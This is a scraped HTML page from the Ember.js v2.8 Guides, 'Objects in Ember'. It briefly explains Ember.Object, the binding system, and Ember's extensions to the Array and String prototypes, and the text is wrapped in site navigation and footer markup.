9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Objects in Ember - The Object Model - Ember Guides</title> <meta name="description" content="You'll notice standard JavaScript class patterns and the new ES2015 classes aren't widely used in Ember. Plain objects can still be found, and sometimes they're referred to as &quot;hashes&quot;. JavaScript objects don't support the observation of property value..."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Objects in Ember - The Object Model - Ember Guides"> <!----> <meta property="og:description" content="You'll notice standard JavaScript class patterns and the new ES2015 classes aren't widely used in Ember. Plain objects can still be found, and sometimes they're referred to as &quot;hashes&quot;. JavaScript objects don't support the observation of property value..."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Objects in Ember - The Object Model - Ember Guides"> <!----> <meta name="twitter:description" content="You'll notice standard JavaScript class patterns and the new ES2015 classes aren't widely used in Ember. Plain objects can still be found, and sometimes they're referred to as &quot;hashes&quot;. JavaScript objects don't support the observation of property value..."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember176255" class="es-header ember-view" role="banner"><div id="ember176256" class="ember-view"><div class="container"> <nav id="ember176257" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember176258" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember176259" class="navbar-collapse collapse ember-view"><ul id="ember176260" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember176261" class="dropdown nav-item ember-view"> <a href="#" id="ember176262" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember176264" class="dropdown nav-item ember-view"> <a href="#" id="ember176265" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember176267" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember176268" class="dropdown nav-item ember-view"> <a href="#" id="ember176269" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember176271" class="dropdown nav-item ember-view"> <a href="#" id="ember176272" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember176274" class="nav navbar-nav ember-view"> <form> <div id="ember176275" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember176276" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember176277" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember176278" class="ember-basic-dropdown ember-view"> <div aria-label="v2.8.0" aria-owns="ember-basic-dropdown-content-ember176278" tabindex="0" data-ebd-id="ember176278-trigger" role="button" id="ember176279" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 2.8 <!----> </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember176278" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember176283" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember176286" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/getting-started" id="ember176287" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember176288" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176290" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/tutorial" id="ember176291" class="cp-Panel-toggle ember-view"> Tutorial </a> <div id="ember176292" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176294" class="cp-Panel cp-is-open ember-view"><a href="/v2.8.0/object-model" id="ember176295" class="cp-Panel-toggle selected ember-view"> The Object Model </a> <div id="ember176296" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember176297" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 selected"> <a href="/v2.8.0/object-model/index" id="ember176299" class="ember-view"> Objects in Ember </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.8.0/object-model/classes-and-instances" id="ember176301" class="ember-view"> Classes and Instances </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.8.0/object-model/reopening-classes-and-instances" id="ember176303" class="ember-view"> Reopening Classes and Instances </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.8.0/object-model/computed-properties" id="ember176305" class="ember-view"> Computed Properties </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.8.0/object-model/computed-properties-and-aggregate-data" id="ember176307" class="ember-view"> Computed Properties and Aggregate Data </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.8.0/object-model/observers" id="ember176309" class="ember-view"> Observers </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.8.0/object-model/bindings" id="ember176311" class="ember-view"> Bindings </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.8.0/object-model/enumerables" id="ember176313" class="ember-view"> Enumerables </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176315" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/routing" id="ember176316" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember176317" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176319" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/templates" id="ember176320" class="cp-Panel-toggle ember-view"> Templates </a> <div id="ember176321" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176323" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/components" id="ember176324" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember176325" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176327" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/controllers" id="ember176328" class="cp-Panel-toggle ember-view"> Controllers </a> <div id="ember176329" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176331" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/models" id="ember176332" class="cp-Panel-toggle ember-view"> Models </a> <div id="ember176333" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176335" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/applications" id="ember176336" class="cp-Panel-toggle ember-view"> Application Concerns </a> <div id="ember176337" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176339" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/testing" id="ember176340" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember176341" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176343" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/ember-inspector" id="ember176344" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember176345" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176347" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/addons-and-dependencies" id="ember176348" class="cp-Panel-toggle ember-view"> Addons and Dependencies </a> <div id="ember176349" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176351" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/configuring-ember" id="ember176352" class="cp-Panel-toggle ember-view"> Configuring Ember.js </a> <div id="ember176353" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176355" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/contributing" id="ember176356" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember176357" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember176359" class="cp-Panel cp-is-closed ember-view"><a href="/v2.8.0/glossary" id="ember176360" class="cp-Panel-toggle ember-view"> Glossary </a> <div id="ember176361" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember176362" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v2.8.0. <a href="/release/object-model" id="ember176363" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v2.8.0/object-model/index.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Objects in Ember </h1> <hr> <div id="ember176364" class="ember-view"><p>You'll notice standard JavaScript class patterns and the new ES2015 classes aren't widely used in Ember. Plain objects can still be found, and sometimes they're referred to as "hashes".</p> <p>JavaScript objects don't support the observation of property value changes. Consequently, if an object is going to participate in Ember's binding system you may see an <code>Ember.Object</code> instead of a plain object.</p> <p><a href="https://api.emberjs.com/classes/Ember.Object.html">Ember.Object</a> also provides a class system, supporting features like mixins and constructor methods. Some features in Ember's object model are not present in JavaScript classes or common patterns, but all are aligned as much as possible with the language and proposed additions.</p> <p>Ember also extends the JavaScript <code>Array</code> prototype with its <a href="https://api.emberjs.com/classes/Ember.Enumerable.html">Ember.Enumerable</a> interface to provide change observation for arrays.</p> <p>Finally, Ember extends the <code>String</code> prototype with a few <a href="https://api.emberjs.com/classes/Ember.String.html">formatting and localization methods</a>.</p> </div> <footer id="ember176365" class="ember-view"> <a href="/v2.8.0/tutorial/deploying" id="ember176366" class="previous-guide ember-view">Deploying</a> <a href="/v2.8.0/object-model/classes-and-instances" id="ember176367" class="next-guide ember-view"> Classes and Instances </a></footer> </article> </main> <footer id="ember176368" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember176369" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember176370" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember176371" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 